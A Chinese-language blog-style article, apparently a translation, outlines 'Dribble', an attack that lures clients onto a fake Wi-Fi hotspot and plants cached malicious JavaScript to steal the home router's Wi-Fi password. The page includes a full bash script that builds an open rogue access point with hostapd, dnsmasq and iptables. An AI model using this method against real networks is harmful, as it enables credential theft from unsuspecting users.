当前位置 主页 > 服务器问题 > Linux/apache问题 >

    利用JavaScript缓存远程窃取Wi-Fi密码的思路详解

    栏目:Linux/apache问题 时间:2019-10-14 18:16


    我一直想在这个小项目上花一些时间做一些研究,但是由于生活所迫让我总是一直繁忙。现在我终于可以抽出一些时间了继续研究这种攻击技术了,我将在本文中阐述我的研究成果。

    很久以前,我学习了Vivek Ramachandran讲解的“无线局域网安全Megaprimer课程”(课程非常好,强烈推荐),顺便说一下,在我做旅行的时候,我住的那些不同的酒店都会提供Wi-Fi。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”的方法。

    Can't turn my brain off, you know.
It's me.
    We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean's Twelve)

    我即将描述的想法非常简单,可能也不是什么新的思路了。尽管如此,对我来说这是一种有趣的方式,让我将放在架子上一直吃灰的Raspberry Pi重新用了起来。

    思路描述

    我们的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目起一个名字,所以我在开发完这个项目后将其命名为“Dribble”:-)。Dribble 会创建一个虚假的Wi-Fi接入点,并等待客户端连接它。当客户端连接时,dribble会拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的HTTP头也会被更改,以便恶意的JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接到家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将密码发送给攻击者。 很简单,对吧?

    为了达到这个攻击目的,我必须弄清楚这三件事:

    如何创建虚假接入点

    1.如何强迫人们连接到这个伪造的热点 2.恶意的JavaScript代码应如何从路由器窃取密码 3.如何创建虚假的无线接入点

    这非常简单,伪造的方法也包含在无线局域网安全Megaprimer课程中,并且有许多不同的github存储库和gist上的代码可以用来创建一个虚假的访问点。因此,我不会过多地描述细节,但为了完整起见,让我们讨论一下我使用的方法。我之前使用 hostapd 创建过Wi-Fi接入点,dnsmasq 作为DHCP服务器和DNS中继服务器,并使用 iptables 创建NAT网络。下面的bash脚本将创建一个非常简单的不受任何密码保护的Wi-Fi访问点。我在代码中添加了一些注释,希望能提高可读性。

    #!/bin/bash
    # the internet interface
    internet=eth0
    # the wifi interface
    phy=wlan0
    # The ESSID
    ess
    # bring interfaces up
    ip link set dev $internet up
    ip link set dev $phy up
    ##################
    # DNSMASQ
    ##################
    echo "
    interface=$phy
    bind-interfaces
    # Set default gateway
    dhcp-option=3,10.0.0.1
    # Set DNS servers to announce
    dhcp-option=6,10.0.0.1
    dhcp-range=10.0.0.2,10.0.0.10,12h
    no-hosts
    no-resolv
    log-queries
    log-facility=/var/log/dnsmasq.log
    # Upstream DNS server
    server=8.8.8.8
    server=8.8.4.4
    " > tmp-dnsmasq.conf
    # start dnsmasq which provides DNS relaying service
    dnsmasq --conf-file=tmp-dnsmasq.conf
    ##################
    # IPTABLES
    ##################
    # Enable Internet connection sharing
    # configuring ip forwarding
    echo '1' > /proc/sys/net/ipv4/ip_forward
    # configuring NAT
    iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
    iptables -A FORWARD -i $phy -o $internet -j ACCEPT
    iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
    ##################
    # HOSTAPD
    ##################
    echo "ctrl_interface=/var/run/hostapd
    interface=$phy
    # ESSID
    ssid=$essid
    driver=nl80211
    auth_algs=3
    channel=11
    hw_mode=g
    # all mac addresses allowed
    macaddr_acl=0
    wmm_enabled=0" > tmp-hotspot.conf
    # Start hostapd in screen hostapd
    echo "Start hostapd in screen hostapd"
    screen -dmS hostapd hostapd tmp-hotspot.conf